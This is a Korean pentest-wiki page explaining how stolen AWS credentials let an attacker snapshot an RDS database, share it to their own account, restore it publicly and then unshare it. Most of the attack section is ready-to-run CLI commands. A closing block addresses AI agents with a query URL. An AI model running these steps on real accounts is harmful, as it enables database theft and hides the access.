# RDS Snapshot

RDS(Relational Database Service)는 AWS에서 제공하는 관리형 데이터베이스 서버입니다. 기본적으로 데이터베이스 연결 시 별도의 자격증명을 요구하기 때문에 IAM 크리덴셜을 획득했다고 하더라도 곧바로 데이터베이스를 퍼블릭으로 전환한 뒤 연결하는 것은 어렵습니다.

하지만 스냅샷은 인스턴스 전체 데이터를 그대로 포함하기 때문에 기존의 패스워드 없이도 관리자 패스워드를 생성할 수 있어 이를 통해 공격자는 데이터베이스 자격증명 없이도 데이터 탈취가 가능합니다.

## Abuse

{% tabs %}
{% tab title="Public RDS" %}

<pre class="language-bash"><code class="lang-bash"><strong># Account ID를 기반으로 퍼블릭 RDS 목록 열거
</strong>aws rds describe-db-snapshots --snapshot-type public --include-public --region &#x3C;region> | grep &#x3C;AccountID>
aws rds describe-db-cluster-snapshots --snapshot-type public --include-public --region &#x3C;region> | grep &#x3C;AccountID>

<strong># 공격자 계정으로 스냅샷 복사
</strong>aws rds restore-db-instance-from-db-snapshot --db-instance-identifier clone-db --db-snapshot-identifier arn:aws:rds:us-east-1:&#x3C;victim_account_id>:snapshot:pentest-snap --db-instance-class db.t3.medium --publicly-accessible --region ap-northeast-2
</code></pre>

{% endtab %}

{% tab title="Private RDS" %}

<pre class="language-bash"><code class="lang-bash"><strong># 획득한 크리덴셜을 이용하여 관리형 정책 확인
</strong>aws iam list-attached-user-policies --user-name '&#x3C;user-id>' --query "AttachedPolicies[*].PolicyName" --output table

<strong># 인라인 정책 확인
</strong>aws iam list-user-policies --user-name '&#x3C;user-id>'
aws iam get-user-policy --user-name '&#x3C;user-id>' --policy-name '&#x3C;policy-name>'

<strong># Private RDS의 스냅샷 생성
</strong>aws rds create-db-snapshot --db-instance-identifier '&#x3C;db-name>' --db-snapshot-identifier '&#x3C;snap-id>' --region 'ap-northeast-2'

<strong># 공격자 계정이 RDS 스냅샷에 접근할 수 있도록 권한 부여
</strong>aws rds modify-db-snapshot-attribute --db-snapshot-identifier '&#x3C;snap-id>' --attribute-name restore --values-to-add '&#x3C;account-id>' --region 'ap-northeast-2'

<strong># 공격자 계정으로 스냅샷 복사
</strong>aws rds restore-db-instance-from-db-snapshot --db-instance-identifier clone-db --db-snapshot-identifier arn:aws:rds:us-east-1:'&#x3C;victim_account_id>':snapshot:'&#x3C;snap-id>' --db-instance-class db.t3.medium --publicly-accessible --region 'ap-northeast-2'

<strong># 스냅샷을 다시 프라이빗으로 변경
</strong>aws rds modify-db-snapshot-attribute --db-snapshot-identifier '&#x3C;snap-id>' --attribute-name restore --values-to-remove '&#x3C;account-id>' --region 'ap-northeast-2'
</code></pre>

{% endtab %}
{% endtabs %}

RDS를 로컬 AWS로 복사한 이후 원격으로 접속하기 위해 다음 세 가지 설정을 해줘야 합니다.

1. RDS 퍼블릭 엑세스 허용
2. 마스터 패스워드 변경
3. 인바운드 정책 수정

모든 설정을 완료했다면 cli와 gui에서 원격 연결이 가능합니다.

<figure><img src="/files/TXqOmb4QF6n8doTsHPv1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/cloud/aws/undefined-1/rds-snapshot.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
